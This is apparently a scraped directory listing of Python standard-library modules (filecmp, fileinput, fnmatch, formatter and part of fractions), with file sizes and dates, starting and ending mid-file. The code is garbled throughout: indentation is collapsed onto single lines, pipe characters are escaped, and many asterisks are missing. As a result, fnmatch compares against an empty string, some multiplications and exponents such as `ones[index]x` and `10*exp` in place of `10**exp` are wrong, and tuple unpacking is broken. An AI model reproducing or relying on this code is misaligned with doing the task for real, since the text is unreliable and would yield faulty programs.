compared. subdirs: a dictionary of dircmp objects, keyed by names in common_dirs. """ def __init__(self, a, b, ignore=None, hide=None): # Initialize self.left = a self.right = b if hide is None: self.hide = [os.curdir, os.pardir] # Names never to be shown else: self.hide = hide if ignore is None: self.ignore = DEFAULT_IGNORES else: self.ignore = ignore def phase0(self): # Compare everything except common subdirectories self.left_list = _filter(os.listdir(self.left), self.hide+self.ignore) self.right_list = _filter(os.listdir(self.right), self.hide+self.ignore) self.left_list.sort() self.right_list.sort() def phase1(self): # Compute common names a = dict(zip(map(os.path.normcase, self.left_list), self.left_list)) b = dict(zip(map(os.path.normcase, self.right_list), self.right_list)) self.common = list(map(a.__getitem__, filter(b.__contains__, a))) self.left_only = list(map(a.__getitem__, filterfalse(b.__contains__, a))) self.right_only = list(map(b.__getitem__, filterfalse(a.__contains__, b))) def phase2(self): # Distinguish files, directories, funnies self.common_dirs = [] self.common_files = [] self.common_funny = [] for x in self.common: a_path = os.path.join(self.left, x) b_path = os.path.join(self.right, x) ok = 1 try: a_stat = os.stat(a_path) except OSError as why: # print('Can\'t stat', a_path, ':', why.args[1]) ok = 0 try: b_stat = os.stat(b_path) except OSError as why: # print('Can\'t stat', b_path, ':', why.args[1]) ok = 0 if ok: a_type = stat.S_IFMT(a_stat.st_mode) b_type = stat.S_IFMT(b_stat.st_mode) if a_type != b_type: self.common_funny.append(x) elif stat.S_ISDIR(a_type): self.common_dirs.append(x) elif stat.S_ISREG(a_type): self.common_files.append(x) else: self.common_funny.append(x) else: self.common_funny.append(x) def phase3(self): # Find out differences between common files xx = cmpfiles(self.left, self.right, self.common_files) self.same_files, self.diff_files, self.funny_files = xx def phase4(self): # Find out differences between common subdirectories # A new dircmp object is created for each common subdirectory, # these are stored in a dictionary indexed by filename. # The hide and ignore properties are inherited from the parent self.subdirs = {} for x in self.common_dirs: a_x = os.path.join(self.left, x) b_x = os.path.join(self.right, x) self.subdirs[x] = dircmp(a_x, b_x, self.ignore, self.hide) def phase4_closure(self): # Recursively call phase4() on subdirectories self.phase4() for sd in self.subdirs.values(): sd.phase4_closure() def report(self): # Print a report on the differences between a and b # Output format is purposely lousy print('diff', self.left, self.right) if self.left_only: self.left_only.sort() print('Only in', self.left, ':', self.left_only) if self.right_only: self.right_only.sort() print('Only in', self.right, ':', self.right_only) if self.same_files: self.same_files.sort() print('Identical files :', self.same_files) if self.diff_files: self.diff_files.sort() print('Differing files :', self.diff_files) if self.funny_files: self.funny_files.sort() print('Trouble with common files :', self.funny_files) if self.common_dirs: self.common_dirs.sort() print('Common subdirectories :', self.common_dirs) if self.common_funny: self.common_funny.sort() print('Common funny cases :', self.common_funny) def report_partial_closure(self): # Print reports on self and on subdirs self.report() for sd in self.subdirs.values(): print() sd.report() def report_full_closure(self): # Report on self and subdirs recursively self.report() for sd in self.subdirs.values(): print() sd.report_full_closure() methodmap = dict(subdirs=phase4, same_files=phase3, diff_files=phase3, funny_files=phase3, common_dirs = phase2, common_files=phase2, common_funny=phase2, common=phase1, left_only=phase1, right_only=phase1, left_list=phase0, right_list=phase0) def __getattr__(self, attr): if attr not in self.methodmap: raise AttributeError(attr) self.methodmap[attr](self) return getattr(self, attr) def cmpfiles(a, b, common, shallow=True): """Compare common files in two directories. a, b -- directory names common -- list of file names found in both directories shallow -- if true, do comparison based solely on stat() information Returns a tuple of three lists: files that compare equal files that are different filenames that aren't regular files. """ res = ([], [], []) for x in common: ax = os.path.join(a, x) bx = os.path.join(b, x) res[_cmp(ax, bx, shallow)].append(x) return res # Compare two files. # Return: # 0 for equal # 1 for different # 2 for funny cases (can't stat, etc.) # def _cmp(a, b, sh, abs=abs, cmp=cmp): try: return not abs(cmp(a, b, sh)) except OSError: return 2 # Return a copy with items that occur in skip removed. # def _filter(flist, skip): return list(filterfalse(skip.__contains__, flist)) # Demonstration and testing. # def demo(): import sys import getopt options, args = getopt.getopt(sys.argv[1:], 'r') if len(args) != 2: raise getopt.GetoptError('need exactly two args', None) dd = dircmp(args[0], args[1]) if ('-r', '') in options: dd.report_full_closure() else: dd.report() if __name__ == '__main__': demo()	9.6 KB	2024-04-17 17:55
📄 fileinput.py """Helper class to quickly write a loop over all standard input files. Typical use is: import fileinput for line in fileinput.input(): process(line) This iterates over the lines of all files listed in sys.argv[1:], defaulting to sys.stdin if the list is empty. If a filename is '-' it is also replaced by sys.stdin and the optional arguments mode and openhook are ignored. To specify an alternative list of filenames, pass it as the argument to input(). A single file name is also allowed. Functions filename(), lineno() return the filename and cumulative line number of the line that has just been read; filelineno() returns its line number in the current file; isfirstline() returns true iff the line just read is the first line of its file; isstdin() returns true iff the line was read from sys.stdin. Function nextfile() closes the current file so that the next iteration will read the first line from the next file (if any); lines not read from the file will not count towards the cumulative line count; the filename is not changed until after the first line of the next file has been read. Function close() closes the sequence. Before any lines have been read, filename() returns None and both line numbers are zero; nextfile() has no effect. After all lines have been read, filename() and the line number functions return the values pertaining to the last line read; nextfile() has no effect. All files are opened in text mode by default, you can override this by setting the mode parameter to input() or FileInput.__init__(). If an I/O error occurs during opening or reading a file, the OSError exception is raised. If sys.stdin is used more than once, the second and further use will return no lines, except perhaps for interactive use, or if it has been explicitly reset (e.g. using sys.stdin.seek(0)). Empty files are opened and immediately closed; the only time their presence in the list of filenames is noticeable at all is when the last file opened is empty. It is possible that the last line of a file doesn't end in a newline character; otherwise lines are returned including the trailing newline. Class FileInput is the implementation; its methods filename(), lineno(), fileline(), isfirstline(), isstdin(), nextfile() and close() correspond to the functions in the module. In addition it has a readline() method which returns the next input line, and a __getitem__() method which implements the sequence behavior. The sequence must be accessed in strictly sequential order; sequence access and readline() cannot be mixed. Optional in-place filtering: if the keyword argument inplace=1 is passed to input() or to the FileInput constructor, the file is moved to a backup file and standard output is directed to the input file. This makes it possible to write a filter that rewrites its input file in place. If the keyword argument backup=".<some extension>" is also given, it specifies the extension for the backup file, and the backup file remains around; by default, the extension is ".bak" and it is deleted when the output file is closed. In-place filtering is disabled when standard input is read. XXX The current implementation does not work for MS-DOS 8+3 filesystems. XXX Possible additions: - optional getopt argument processing - isatty() - read(), read(size), even readlines() """ import sys, os __all__ = ["input", "close", "nextfile", "filename", "lineno", "filelineno", "fileno", "isfirstline", "isstdin", "FileInput", "hook_compressed", "hook_encoded"] _state = None def input(files=None, inplace=False, backup="", bufsize=0, mode="r", openhook=None): """Return an instance of the FileInput class, which can be iterated. The parameters are passed to the constructor of the FileInput class. The returned instance, in addition to being an iterator, keeps global state for the functions of this module,. """ global _state if _state and _state._file: raise RuntimeError("input() already active") _state = FileInput(files, inplace, backup, bufsize, mode, openhook) return _state def close(): """Close the sequence.""" global _state state = _state _state = None if state: state.close() def nextfile(): """ Close the current file so that the next iteration will read the first line from the next file (if any); lines not read from the file will not count towards the cumulative line count. The filename is not changed until after the first line of the next file has been read. Before the first line has been read, this function has no effect; it cannot be used to skip the first file. After the last line of the last file has been read, this function has no effect. """ if not _state: raise RuntimeError("no active input()") return _state.nextfile() def filename(): """ Return the name of the file currently being read. Before the first line has been read, returns None. """ if not _state: raise RuntimeError("no active input()") return _state.filename() def lineno(): """ Return the cumulative line number of the line that has just been read. Before the first line has been read, returns 0. After the last line of the last file has been read, returns the line number of that line. """ if not _state: raise RuntimeError("no active input()") return _state.lineno() def filelineno(): """ Return the line number in the current file. Before the first line has been read, returns 0. After the last line of the last file has been read, returns the line number of that line within the file. """ if not _state: raise RuntimeError("no active input()") return _state.filelineno() def fileno(): """ Return the file number of the current file. When no file is currently opened, returns -1. """ if not _state: raise RuntimeError("no active input()") return _state.fileno() def isfirstline(): """ Returns true the line just read is the first line of its file, otherwise returns false. """ if not _state: raise RuntimeError("no active input()") return _state.isfirstline() def isstdin(): """ Returns true if the last line was read from sys.stdin, otherwise returns false. """ if not _state: raise RuntimeError("no active input()") return _state.isstdin() class FileInput: """FileInput([files[, inplace[, backup[, bufsize, [, mode[, openhook]]]]]]) Class FileInput is the implementation of the module; its methods filename(), lineno(), fileline(), isfirstline(), isstdin(), fileno(), nextfile() and close() correspond to the functions of the same name in the module. In addition it has a readline() method which returns the next input line, and a __getitem__() method which implements the sequence behavior. The sequence must be accessed in strictly sequential order; random access and readline() cannot be mixed. """ def __init__(self, files=None, inplace=False, backup="", bufsize=0, mode="r", openhook=None): if isinstance(files, str): files = (files,) elif isinstance(files, os.PathLike): files = (os.fspath(files), ) else: if files is None: files = sys.argv[1:] if not files: files = ('-',) else: files = tuple(files) self._files = files self._inplace = inplace self._backup = backup if bufsize: import warnings warnings.warn('bufsize is deprecated and ignored', DeprecationWarning, stacklevel=2) self._savestdout = None self._output = None self._filename = None self._startlineno = 0 self._filelineno = 0 self._file = None self._isstdin = False self._backupfilename = None # restrict mode argument to reading modes if mode not in ('r', 'rU', 'U', 'rb'): raise ValueError("FileInput opening mode must be one of " "'r', 'rU', 'U' and 'rb'") if 'U' in mode: import warnings warnings.warn("'U' mode is deprecated", DeprecationWarning, 2) self._mode = mode if openhook: if inplace: raise ValueError("FileInput cannot use an opening hook in inplace mode") if not callable(openhook): raise ValueError("FileInput openhook must be callable") self._openhook = openhook def __del__(self): self.close() def close(self): try: self.nextfile() finally: self._files = () def __enter__(self): return self def __exit__(self, type, value, traceback): self.close() def __iter__(self): return self def __next__(self): while True: line = self._readline() if line: self._filelineno += 1 return line if not self._file: raise StopIteration self.nextfile() # repeat with next file def __getitem__(self, i): if i != self.lineno(): raise RuntimeError("accessing lines out of order") try: return self.__next__() except StopIteration: raise IndexError("end of input reached") def nextfile(self): savestdout = self._savestdout self._savestdout = None if savestdout: sys.stdout = savestdout output = self._output self._output = None try: if output: output.close() finally: file = self._file self._file = None try: del self._readline # restore FileInput._readline except AttributeError: pass try: if file and not self._isstdin: file.close() finally: backupfilename = self._backupfilename self._backupfilename = None if backupfilename and not self._backup: try: os.unlink(backupfilename) except OSError: pass self._isstdin = False def readline(self): while True: line = self._readline() if line: self._filelineno += 1 return line if not self._file: return line self.nextfile() # repeat with next file def _readline(self): if not self._files: if 'b' in self._mode: return b'' else: return '' self._filename = self._files[0] self._files = self._files[1:] self._startlineno = self.lineno() self._filelineno = 0 self._file = None self._isstdin = False self._backupfilename = 0 if self._filename == '-': self._filename = '<stdin>' if 'b' in self._mode: self._file = getattr(sys.stdin, 'buffer', sys.stdin) else: self._file = sys.stdin self._isstdin = True else: if self._inplace: self._backupfilename = ( os.fspath(self._filename) + (self._backup or ".bak")) try: os.unlink(self._backupfilename) except OSError: pass # The next few lines may raise OSError os.rename(self._filename, self._backupfilename) self._file = open(self._backupfilename, self._mode) try: perm = os.fstat(self._file.fileno()).st_mode except OSError: self._output = open(self._filename, "w") else: mode = os.O_CREAT \| os.O_WRONLY \| os.O_TRUNC if hasattr(os, 'O_BINARY'): mode \|= os.O_BINARY fd = os.open(self._filename, mode, perm) self._output = os.fdopen(fd, "w") try: if hasattr(os, 'chmod'): os.chmod(self._filename, perm) except OSError: pass self._savestdout = sys.stdout sys.stdout = self._output else: # This may raise OSError if self._openhook: self._file = self._openhook(self._filename, self._mode) else: self._file = open(self._filename, self._mode) self._readline = self._file.readline # hide FileInput._readline return self._readline() def filename(self): return self._filename def lineno(self): return self._startlineno + self._filelineno def filelineno(self): return self._filelineno def fileno(self): if self._file: try: return self._file.fileno() except ValueError: return -1 else: return -1 def isfirstline(self): return self._filelineno == 1 def isstdin(self): return self._isstdin def hook_compressed(filename, mode): ext = os.path.splitext(filename)[1] if ext == '.gz': import gzip return gzip.open(filename, mode) elif ext == '.bz2': import bz2 return bz2.BZ2File(filename, mode) else: return open(filename, mode) def hook_encoded(encoding, errors=None): def openhook(filename, mode): return open(filename, mode, encoding=encoding, errors=errors) return openhook def _test(): import getopt inplace = False backup = False opts, args = getopt.getopt(sys.argv[1:], "ib:") for o, a in opts: if o == '-i': inplace = True if o == '-b': backup = a for line in input(args, inplace=inplace, backup=backup): if line[-1:] == '\n': line = line[:-1] if line[-1:] == '\r': line = line[:-1] print("%d: %s[%d]%s %s" % (lineno(), filename(), filelineno(), isfirstline() and "*" or "", line)) print("%d: %s[%d]" % (lineno(), filename(), filelineno())) if __name__ == '__main__': _test()	14.28 KB	2024-04-17 17:55
📄 fnmatch.py """Filename matching with shell patterns. fnmatch(FILENAME, PATTERN) matches according to the local convention. fnmatchcase(FILENAME, PATTERN) always takes case in account. The functions operate by translating the pattern into a regular expression. They cache the compiled regular expressions for speed. The function translate(PATTERN) returns a regular expression corresponding to PATTERN. (It does not compile it.) """ import os import posixpath import re import functools __all__ = ["filter", "fnmatch", "fnmatchcase", "translate"] def fnmatch(name, pat): """Test whether FILENAME matches PATTERN. Patterns are Unix shell style: * matches everything ? matches any single character [seq] matches any character in seq [!seq] matches any char not in seq An initial period in FILENAME is not special. Both FILENAME and PATTERN are first case-normalized if the operating system requires it. If you don't want this, use fnmatchcase(FILENAME, PATTERN). """ name = os.path.normcase(name) pat = os.path.normcase(pat) return fnmatchcase(name, pat) @functools.lru_cache(maxsize=256, typed=True) def _compile_pattern(pat): if isinstance(pat, bytes): pat_str = str(pat, 'ISO-8859-1') res_str = translate(pat_str) res = bytes(res_str, 'ISO-8859-1') else: res = translate(pat) return re.compile(res).match def filter(names, pat): """Return the subset of the list NAMES that match PAT.""" result = [] pat = os.path.normcase(pat) match = _compile_pattern(pat) if os.path is posixpath: # normcase on posix is NOP. Optimize it away from the loop. for name in names: if match(name): result.append(name) else: for name in names: if match(os.path.normcase(name)): result.append(name) return result def fnmatchcase(name, pat): """Test whether FILENAME matches PATTERN, including case. This is a version of fnmatch() which doesn't case-normalize its arguments. """ match = _compile_pattern(pat) return match(name) is not None def translate(pat): """Translate a shell PATTERN to a regular expression. There is no way to quote meta-characters. """ i, n = 0, len(pat) res = '' while i < n: c = pat[i] i = i+1 if c == '': res = res + '.' elif c == '?': res = res + '.' elif c == '[': j = i if j < n and pat[j] == '!': j = j+1 if j < n and pat[j] == ']': j = j+1 while j < n and pat[j] != ']': j = j+1 if j >= n: res = res + '\\[' else: stuff = pat[i:j] if '--' not in stuff: stuff = stuff.replace('\\', r'\\') else: chunks = [] k = i+2 if pat[i] == '!' else i+1 while True: k = pat.find('-', k, j) if k < 0: break chunks.append(pat[i:k]) i = k+1 k = k+3 chunks.append(pat[i:j]) # Escape backslashes and hyphens for set difference (--). # Hyphens that create ranges shouldn't be escaped. stuff = '-'.join(s.replace('\\', r'\\').replace('-', r'\-') for s in chunks) # Escape set operations (&&, ~~ and \|\|). stuff = re.sub(r'([&~\|])', r'\\\1', stuff) i = j+1 if stuff[0] == '!': stuff = '^' + stuff[1:] elif stuff[0] in ('^', '['): stuff = '\\' + stuff res = '%s[%s]' % (res, stuff) else: res = res + re.escape(c) return r'(?s:%s)\Z' % res	3.96 KB	2024-04-17 17:55
📄 formatter.py """Generic output formatting. Formatter objects transform an abstract flow of formatting events into specific output events on writer objects. Formatters manage several stack structures to allow various properties of a writer object to be changed and restored; writers need not be able to handle relative changes nor any sort of ``change back'' operation. Specific writer properties which may be controlled via formatter objects are horizontal alignment, font, and left margin indentations. A mechanism is provided which supports providing arbitrary, non-exclusive style settings to a writer as well. Additional interfaces facilitate formatting events which are not reversible, such as paragraph separation. Writer objects encapsulate device interfaces. Abstract devices, such as file formats, are supported as well as physical devices. The provided implementations all work with abstract devices. The interface makes available mechanisms for setting the properties which formatter objects manage and inserting data into the output. """ import sys import warnings warnings.warn('the formatter module is deprecated', DeprecationWarning, stacklevel=2) AS_IS = None class NullFormatter: """A formatter which does nothing. If the writer parameter is omitted, a NullWriter instance is created. No methods of the writer are called by NullFormatter instances. Implementations should inherit from this class if implementing a writer interface but don't need to inherit any implementation. """ def __init__(self, writer=None): if writer is None: writer = NullWriter() self.writer = writer def end_paragraph(self, blankline): pass def add_line_break(self): pass def add_hor_rule(self, args, kw): pass def add_label_data(self, format, counter, blankline=None): pass def add_flowing_data(self, data): pass def add_literal_data(self, data): pass def flush_softspace(self): pass def push_alignment(self, align): pass def pop_alignment(self): pass def push_font(self, x): pass def pop_font(self): pass def push_margin(self, margin): pass def pop_margin(self): pass def set_spacing(self, spacing): pass def push_style(self, styles): pass def pop_style(self, n=1): pass def assert_line_data(self, flag=1): pass class AbstractFormatter: """The standard formatter. This implementation has demonstrated wide applicability to many writers, and may be used directly in most circumstances. It has been used to implement a full-featured World Wide Web browser. """ # Space handling policy: blank spaces at the boundary between elements # are handled by the outermost context. "Literal" data is not checked # to determine context, so spaces in literal data are handled directly # in all circumstances. def __init__(self, writer): self.writer = writer # Output device self.align = None # Current alignment self.align_stack = [] # Alignment stack self.font_stack = [] # Font state self.margin_stack = [] # Margin state self.spacing = None # Vertical spacing state self.style_stack = [] # Other state, e.g. color self.nospace = 1 # Should leading space be suppressed self.softspace = 0 # Should a space be inserted self.para_end = 1 # Just ended a paragraph self.parskip = 0 # Skipped space between paragraphs? self.hard_break = 1 # Have a hard break self.have_label = 0 def end_paragraph(self, blankline): if not self.hard_break: self.writer.send_line_break() self.have_label = 0 if self.parskip < blankline and not self.have_label: self.writer.send_paragraph(blankline - self.parskip) self.parskip = blankline self.have_label = 0 self.hard_break = self.nospace = self.para_end = 1 self.softspace = 0 def add_line_break(self): if not (self.hard_break or self.para_end): self.writer.send_line_break() self.have_label = self.parskip = 0 self.hard_break = self.nospace = 1 self.softspace = 0 def add_hor_rule(self, args, kw): if not self.hard_break: self.writer.send_line_break() self.writer.send_hor_rule(args, *kw) self.hard_break = self.nospace = 1 self.have_label = self.para_end = self.softspace = self.parskip = 0 def add_label_data(self, format, counter, blankline = None): if self.have_label or not self.hard_break: self.writer.send_line_break() if not self.para_end: self.writer.send_paragraph((blankline and 1) or 0) if isinstance(format, str): self.writer.send_label_data(self.format_counter(format, counter)) else: self.writer.send_label_data(format) self.nospace = self.have_label = self.hard_break = self.para_end = 1 self.softspace = self.parskip = 0 def format_counter(self, format, counter): label = '' for c in format: if c == '1': label = label + ('%d' % counter) elif c in 'aA': if counter > 0: label = label + self.format_letter(c, counter) elif c in 'iI': if counter > 0: label = label + self.format_roman(c, counter) else: label = label + c return label def format_letter(self, case, counter): label = '' while counter > 0: counter, x = divmod(counter-1, 26) # This makes a strong assumption that lowercase letters # and uppercase letters form two contiguous blocks, with # letters in order! s = chr(ord(case) + x) label = s + label return label def format_roman(self, case, counter): ones = ['i', 'x', 'c', 'm'] fives = ['v', 'l', 'd'] label, index = '', 0 # This will die of IndexError when counter is too big while counter > 0: counter, x = divmod(counter, 10) if x == 9: label = ones[index] + ones[index+1] + label elif x == 4: label = ones[index] + fives[index] + label else: if x >= 5: s = fives[index] x = x-5 else: s = '' s = s + ones[index]x label = s + label index = index + 1 if case == 'I': return label.upper() return label def add_flowing_data(self, data): if not data: return prespace = data[:1].isspace() postspace = data[-1:].isspace() data = " ".join(data.split()) if self.nospace and not data: return elif prespace or self.softspace: if not data: if not self.nospace: self.softspace = 1 self.parskip = 0 return if not self.nospace: data = ' ' + data self.hard_break = self.nospace = self.para_end = \ self.parskip = self.have_label = 0 self.softspace = postspace self.writer.send_flowing_data(data) def add_literal_data(self, data): if not data: return if self.softspace: self.writer.send_flowing_data(" ") self.hard_break = data[-1:] == '\n' self.nospace = self.para_end = self.softspace = \ self.parskip = self.have_label = 0 self.writer.send_literal_data(data) def flush_softspace(self): if self.softspace: self.hard_break = self.para_end = self.parskip = \ self.have_label = self.softspace = 0 self.nospace = 1 self.writer.send_flowing_data(' ') def push_alignment(self, align): if align and align != self.align: self.writer.new_alignment(align) self.align = align self.align_stack.append(align) else: self.align_stack.append(self.align) def pop_alignment(self): if self.align_stack: del self.align_stack[-1] if self.align_stack: self.align = align = self.align_stack[-1] self.writer.new_alignment(align) else: self.align = None self.writer.new_alignment(None) def push_font(self, font): size, i, b, tt = font if self.softspace: self.hard_break = self.para_end = self.softspace = 0 self.nospace = 1 self.writer.send_flowing_data(' ') if self.font_stack: csize, ci, cb, ctt = self.font_stack[-1] if size is AS_IS: size = csize if i is AS_IS: i = ci if b is AS_IS: b = cb if tt is AS_IS: tt = ctt font = (size, i, b, tt) self.font_stack.append(font) self.writer.new_font(font) def pop_font(self): if self.font_stack: del self.font_stack[-1] if self.font_stack: font = self.font_stack[-1] else: font = None self.writer.new_font(font) def push_margin(self, margin): self.margin_stack.append(margin) fstack = [m for m in self.margin_stack if m] if not margin and fstack: margin = fstack[-1] self.writer.new_margin(margin, len(fstack)) def pop_margin(self): if self.margin_stack: del self.margin_stack[-1] fstack = [m for m in self.margin_stack if m] if fstack: margin = fstack[-1] else: margin = None self.writer.new_margin(margin, len(fstack)) def set_spacing(self, spacing): self.spacing = spacing self.writer.new_spacing(spacing) def push_style(self, styles): if self.softspace: self.hard_break = self.para_end = self.softspace = 0 self.nospace = 1 self.writer.send_flowing_data(' ') for style in styles: self.style_stack.append(style) self.writer.new_styles(tuple(self.style_stack)) def pop_style(self, n=1): del self.style_stack[-n:] self.writer.new_styles(tuple(self.style_stack)) def assert_line_data(self, flag=1): self.nospace = self.hard_break = not flag self.para_end = self.parskip = self.have_label = 0 class NullWriter: """Minimal writer interface to use in testing & inheritance. A writer which only provides the interface definition; no actions are taken on any methods. This should be the base class for all writers which do not need to inherit any implementation methods. """ def __init__(self): pass def flush(self): pass def new_alignment(self, align): pass def new_font(self, font): pass def new_margin(self, margin, level): pass def new_spacing(self, spacing): pass def new_styles(self, styles): pass def send_paragraph(self, blankline): pass def send_line_break(self): pass def send_hor_rule(self, args, *kw): pass def send_label_data(self, data): pass def send_flowing_data(self, data): pass def send_literal_data(self, data): pass class AbstractWriter(NullWriter): """A writer which can be used in debugging formatters, but not much else. Each method simply announces itself by printing its name and arguments on standard output. """ def new_alignment(self, align): print("new_alignment(%r)" % (align,)) def new_font(self, font): print("new_font(%r)" % (font,)) def new_margin(self, margin, level): print("new_margin(%r, %d)" % (margin, level)) def new_spacing(self, spacing): print("new_spacing(%r)" % (spacing,)) def new_styles(self, styles): print("new_styles(%r)" % (styles,)) def send_paragraph(self, blankline): print("send_paragraph(%r)" % (blankline,)) def send_line_break(self): print("send_line_break()") def send_hor_rule(self, args, *kw): print("send_hor_rule()") def send_label_data(self, data): print("send_label_data(%r)" % (data,)) def send_flowing_data(self, data): print("send_flowing_data(%r)" % (data,)) def send_literal_data(self, data): print("send_literal_data(%r)" % (data,)) class DumbWriter(NullWriter): """Simple writer class which writes output on the file object passed in as the file parameter or, if file is omitted, on standard output. The output is simply word-wrapped to the number of columns specified by the maxcol parameter. This class is suitable for reflowing a sequence of paragraphs. """ def __init__(self, file=None, maxcol=72): self.file = file or sys.stdout self.maxcol = maxcol NullWriter.__init__(self) self.reset() def reset(self): self.col = 0 self.atbreak = 0 def send_paragraph(self, blankline): self.file.write('\n'blankline) self.col = 0 self.atbreak = 0 def send_line_break(self): self.file.write('\n') self.col = 0 self.atbreak = 0 def send_hor_rule(self, args, kw): self.file.write('\n') self.file.write('-'self.maxcol) self.file.write('\n') self.col = 0 self.atbreak = 0 def send_literal_data(self, data): self.file.write(data) i = data.rfind('\n') if i >= 0: self.col = 0 data = data[i+1:] data = data.expandtabs() self.col = self.col + len(data) self.atbreak = 0 def send_flowing_data(self, data): if not data: return atbreak = self.atbreak or data[0].isspace() col = self.col maxcol = self.maxcol write = self.file.write for word in data.split(): if atbreak: if col + len(word) >= maxcol: write('\n') col = 0 else: write(' ') col = col + 1 write(word) col = col + len(word) atbreak = 1 self.col = col self.atbreak = data[-1].isspace() def test(file = None): w = DumbWriter() f = AbstractFormatter(w) if file is not None: fp = open(file) elif sys.argv[1:]: fp = open(sys.argv[1]) else: fp = sys.stdin try: for line in fp: if line == '\n': f.end_paragraph(1) else: f.add_flowing_data(line) finally: if fp is not sys.stdin: fp.close() f.end_paragraph(0) if __name__ == '__main__': test()	14.79 KB	2024-04-17 17:55
📄 fractions.py # Originally contributed by Sjoerd Mullender. # Significantly modified by Jeffrey Yasskin <jyasskin at gmail.com>. """Fraction, infinite-precision, real numbers.""" from decimal import Decimal import math import numbers import operator import re import sys __all__ = ['Fraction', 'gcd'] def gcd(a, b): """Calculate the Greatest Common Divisor of a and b. Unless b==0, the result will have the same sign as b (so that when b is divided by it, the result comes out positive). """ import warnings warnings.warn('fractions.gcd() is deprecated. Use math.gcd() instead.', DeprecationWarning, 2) if type(a) is int is type(b): if (b or a) < 0: return -math.gcd(a, b) return math.gcd(a, b) return _gcd(a, b) def _gcd(a, b): # Supports non-integers for backward compatibility. while b: a, b = b, a%b return a # Constants related to the hash implementation; hash(x) is based # on the reduction of x modulo the prime _PyHASH_MODULUS. _PyHASH_MODULUS = sys.hash_info.modulus # Value to be used for rationals that reduce to infinity modulo # _PyHASH_MODULUS. _PyHASH_INF = sys.hash_info.inf _RATIONAL_FORMAT = re.compile(r""" \A\s* # optional whitespace at the start, then (?P<sign>[-+]?) # an optional sign, then (?=\d\|\.\d) # lookahead for digit or .digit (?P<num>\d) # numerator (possibly empty) (?: # followed by (?:/(?P<denom>\d+))? # an optional denominator \| # or (?:\.(?P<decimal>\d))? # an optional fractional part (?:E(?P<exp>[-+]?\d+))? # and optional exponent ) \s\Z # and optional whitespace to finish """, re.VERBOSE \| re.IGNORECASE) class Fraction(numbers.Rational): """This class implements rational numbers. In the two-argument form of the constructor, Fraction(8, 6) will produce a rational number equivalent to 4/3. Both arguments must be Rational. The numerator defaults to 0 and the denominator defaults to 1 so that Fraction(3) == 3 and Fraction() == 0. Fractions can also be constructed from: - numeric strings similar to those accepted by the float constructor (for example, '-2.3' or '1e10') - strings of the form '123/456' - float and Decimal instances - other Rational instances (including integers) """ __slots__ = ('_numerator', '_denominator') # We're immutable, so use __new__ not __init__ def __new__(cls, numerator=0, denominator=None, , _normalize=True): """Constructs a Rational. Takes a string like '3/2' or '1.5', another Rational instance, a numerator/denominator pair, or a float. Examples -------- >>> Fraction(10, -8) Fraction(-5, 4) >>> Fraction(Fraction(1, 7), 5) Fraction(1, 35) >>> Fraction(Fraction(1, 7), Fraction(2, 3)) Fraction(3, 14) >>> Fraction('314') Fraction(314, 1) >>> Fraction('-35/4') Fraction(-35, 4) >>> Fraction('3.1415') # conversion from numeric string Fraction(6283, 2000) >>> Fraction('-47e-2') # string may include a decimal exponent Fraction(-47, 100) >>> Fraction(1.47) # direct construction from float (exact conversion) Fraction(6620291452234629, 4503599627370496) >>> Fraction(2.25) Fraction(9, 4) >>> Fraction(Decimal('1.47')) Fraction(147, 100) """ self = super(Fraction, cls).__new__(cls) if denominator is None: if type(numerator) is int: self._numerator = numerator self._denominator = 1 return self elif isinstance(numerator, numbers.Rational): self._numerator = numerator.numerator self._denominator = numerator.denominator return self elif isinstance(numerator, (float, Decimal)): # Exact conversion self._numerator, self._denominator = numerator.as_integer_ratio() return self elif isinstance(numerator, str): # Handle construction from strings. m = _RATIONAL_FORMAT.match(numerator) if m is None: raise ValueError('Invalid literal for Fraction: %r' % numerator) numerator = int(m.group('num') or '0') denom = m.group('denom') if denom: denominator = int(denom) else: denominator = 1 decimal = m.group('decimal') if decimal: scale = 10*len(decimal) numerator = numerator scale + int(decimal) denominator = scale exp = m.group('exp') if exp: exp = int(exp) if exp >= 0: numerator = 10*exp else: denominator = 10*-exp if m.group('sign') == '-': numerator = -numerator else: raise TypeError("argument should be a string " "or a Rational instance") elif type(numerator) is int is type(denominator): pass # very* normal case elif (isinstance(numerator, numbers.Rational) and isinstance(denominator, numbers.Rational)): numerator, denominator = ( numerator.numerator * denominator.denominator, denominator.numerator * numerator.denominator ) else: raise TypeError("both arguments should be " "Rational instances") if denominator == 0: raise ZeroDivisionError('Fraction(%s, 0)' % numerator) if _normalize: if type(numerator) is int is type(denominator): # very normal case g = math.gcd(numerator, denominator) if denominator < 0: g = -g else: g = _gcd(numerator, denominator) numerator //= g denominator //= g self._numerator = numerator self._denominator = denominator return self @classmethod def from_float(cls, f): """Converts a finite float to a rational number, exactly. Beware that Fraction.from_float(0.3) != Fraction(3, 10). """ if isinstance(f, numbers.Integral): return cls(f) elif not isinstance(f, float): raise TypeError("%s.from_float() only takes floats, not %r (%s)" % (cls.__name__, f, type(f).__name__)) return cls(f.as_integer_ratio()) @classmethod def from_decimal(cls, dec): """Converts a finite Decimal instance to a rational number, exactly.""" from decimal import Decimal if isinstance(dec, numbers.Integral): dec = Decimal(int(dec)) elif not isinstance(dec, Decimal): raise TypeError( "%s.from_decimal() only takes Decimals, not %r (%s)" % (cls.__name__, dec, type(dec).__name__)) return cls(dec.as_integer_ratio()) def limit_denominator(self, max_denominator=1000000): """Closest Fraction to self with denominator at most max_denominator. >>> Fraction('3.141592653589793').limit_denominator(10) Fraction(22, 7) >>> Fraction('3.141592653589793').limit_denominator(100) Fraction(311, 99) >>> Fraction(4321, 8765).limit_denominator(10000) Fraction(4321, 8765) """ # Algorithm notes: For any real number x, define a best upper # approximation to x to be a rational number p/q such that: # # (1) p/q >= x, and # (2) if p/q > r/s >= x then s > q, for any rational r/s. # # Define best lower approximation similarly. Then it can be # proved that a rational number is a best upper or lower # approximation to x if, and only if, it is a convergent or # semiconvergent of the (unique shortest) continued fraction # associated to x. # # To find a best rational approximation with denominator <= M, # we find the best upper and lower approximations with # denominator <= M and take whichever of these is closer to x. # In the event of a tie, the bound with smaller denominator is # chosen. If both denominators are equal (which can happen # only when max_denominator == 1 and self is midway between # two integers) the lower bound---i.e., the floor of self, is # taken. if max_denominator < 1: raise ValueError("max_denominator should be at least 1") if self._denominator <= max_denominator: return Fraction(self) p0, q0, p1, q1 = 0, 1, 1, 0 n, d = self._numerator, self._denominator while True: a = n//d q2 = q0+aq1 if q2 > max_denominator: break p0, q0, p1, q1 = p1, q1, p0+ap1, q2 n, d = d, n-ad k = (max_denominator-q0)//q1 bound1 = Fraction(p0+kp1, q0+kq1) bound2 = 